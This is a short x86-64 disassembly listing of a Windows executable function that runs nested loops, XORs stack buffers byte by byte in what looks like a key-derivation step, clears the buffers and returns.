lea ebp, [r14 - 0x1d]
mov qword [rsp + 0x70], rax
cmp dword [rdi], 0
jbe 0x140006821
mov ebx, dword [rdi]
lea rax, [rsp + 0xf0]
lea r8, [rsp + 0x40]
mov r9, r14
mov rdx, r12
mov rcx, r13
mov qword [rsp + 0x20], rax
call fcn.140006534
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x40]
mov r8, r14
call fcn.140020da0
xor r11d, r11d
mov rcx, r14
mov al, byte [rsp + r11 + 0x40]
inc r11
xor byte [rsp + r11 + 0x77], al
sub rcx, 1
jne 0x140006808
sub rbx, 1
jne 0x1400067cd
mov rcx, qword [rsi]
lea rdx, [rsp + 0x78]
mov r8, r14
call fcn.140020da0
add rdi, 4
add rsi, 8
sub rbp, 1
jne 0x1400067c6
lea edx, [rbp + 0x44]
lea rcx, [rsp + 0xa0]
call fcn.14000f894
lea rcx, [rsp + 0x78]
mov rdx, r14
call fcn.14000f894
lea rcx, [rsp + 0x40]
mov rdx, r14
call fcn.14000f894
lea rcx, [rsp + 0xf0]
mov rdx, r14
call fcn.14000f894
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
ret